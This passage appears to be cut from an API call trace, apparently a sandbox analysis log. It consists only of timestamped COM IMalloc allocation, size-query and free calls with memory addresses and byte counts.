pv=0x2764b82a0b0) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03500) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03830) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bf0) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297f0) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb032f0) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03590) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036e0) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e60) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03890) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03350) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a3b0) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a130) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a0f0) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829830) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a430) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a370) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03530) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03620) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03650) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a10) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03680) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03920) [0108.732] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036b0) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb037a0) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03710) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03740) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb038c0) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb038f0) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb037d0) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b60) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a4b0) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a470) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a170) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a1b0) [0108.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a1f0) [0108.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a4b0 [0108.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b82a3f0 [0108.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03a10 [0108.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb039b0 [0108.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a130 [0108.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb036b0 [0108.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03e00 [0108.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03410 [0108.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03680 [0108.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03980 [0108.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03da0 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03440 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50c4d0 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c80 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0108.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ac0 [0108.736] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ea0 [0108.736] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ae0 [0108.736] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0108.736] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ec0 [0108.736] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b881f60 [0108.736] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881f60) returned 0x40 [0108.746] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881f60) [0108.746] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b882820 [0108.746] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882820) returned 0x40 [0108.753] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882820) [0108.753] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f40 [0108.753] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) returned 0x8 [0108.754] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) [0108.754] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0108.754] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) returned 0x10 [0108.756] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0108.756] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0108.756] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0108.756] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0108.756] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b882730 [0108.756] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882730) returned 0x40 [0108.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882730) [0108.855] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e68a0 [0108.855] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) returned 0x18 [0108.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0108.857] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0108.857] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) returned 0x10 [0108.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0108.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6a60 [0108.859] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) returned 0x18 [0108.861] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) [0108.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb038f0 [0108.861] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb038f0) returned 0x28 [0108.861] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb038f0) [0108.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03a70 [0108.862] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03a70) returned 0x28 [0108.862] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a70) [0108.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb036e0 [0108.862] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb036e0) returned 0x28 [0108.863] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036e0) [0108.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090b0 [0108.875] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) returned 0x8 [0108.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) [0108.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0108.876] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0108.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0108.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0108.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0108.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0108.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0108.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ec0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ae0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ea0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ac0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50c4d0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a4b0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a3f0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a10) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb039b0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a130) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036b0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e00) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03410) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03680) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03980) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03da0) [0108.877] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03440) [0108.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a0f0 [0108.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03980 [0108.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb039e0 [0108.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b82a3b0 [0108.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03470 [0108.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a4b0 [0108.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03530 [0108.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03560 [0108.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03350 [0108.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03890 [0108.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb039b0 [0108.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03500 [0108.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03ad0 [0108.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829930 [0108.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8297b0 [0108.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb037a0 [0108.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03680 [0108.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03aa0 [0108.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03b90 [0108.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03320 [0108.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03a70 [0108.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829bb0 [0108.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a130 [0108.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03b00 [0108.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb035f0 [0108.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829ab0 [0108.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03710 [0108.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03590 [0108.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03440 [0108.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03cb0 [0108.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03740 [0108.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb037d0 [0108.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03770 [0108.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03dd0 [0108.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb036b0 [0108.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb033e0 [0108.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829eb0 [0108.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829bf0 [0108.884] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a170 [0108.884] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a1f0 [0108.884] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03b30 [0108.884] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb035c0 [0108.884] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03860 [0108.885] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03ce0 [0108.885] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a1b0 [0108.885] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a330 [0108.885] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb038c0 [0108.885] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03c50 [0108.885] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03da0 [0108.886] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03e00 [0108.886] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03e30 [0108.886] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03620 [0108.886] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb036e0 [0108.886] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03bc0 [0108.886] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03a10 [0108.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb032f0 [0108.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03650 [0108.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03800 [0108.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03e60 [0108.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03b60 [0108.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03bf0 [0108.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03950 [0108.888] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829970 [0108.888] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a6b0 [0108.888] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03380 [0108.888] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03e90 [0108.888] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a370 [0108.888] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a3f0 [0108.888] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03ec0 [0108.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb034d0 [0108.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03830 [0108.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb033b0 [0108.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03410 [0108.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb038f0 [0108.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03c20 [0108.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03920 [0108.890] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03a40 [0108.890] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb034a0 [0108.890] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03d10 [0108.890] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03c80 [0108.890] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb04850 [0108.890] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04730 [0108.891] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04190 [0108.891] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb049d0 [0108.891] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04100 [0108.891] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04550 [0108.891] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb044c0 [0108.891] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb046a0 [0108.891] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829c70 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04910 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb047f0 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50c4d0 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ac0 [0108.892] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6900 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ae0 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a60 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ea0 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c80 [0108.893] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ec0 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f80 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6fa0 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6fc0 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6fe0 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7220 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7740 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7680 [0108.894] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6fe0 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7260 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7340 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7620 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7420 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7060 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7160 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7500 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d71c0 [0108.895] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6f80 [0108.896] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7080 [0108.896] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6fc0 [0108.896] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7660 [0108.896] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7300 [0108.896] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d70a0 [0108.896] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d75c0 [0108.896] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7000 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7400 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d72c0 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7360 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76a0 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7180 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7460 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7480 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7020 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7280 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7040 [0108.897] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d70c0 [0108.898] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d74a0 [0108.898] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7100 [0108.898] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d74c0 [0108.898] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7240 [0108.898] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7540 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76c0 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7120 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7140 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d71a0 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d71e0 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7200 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d72a0 [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7380 [0108.899] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7380) returned 0x18 [0108.899] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7380) [0108.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09230 [0108.899] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09230) returned 0x8 [0108.900] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09230) [0108.900] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 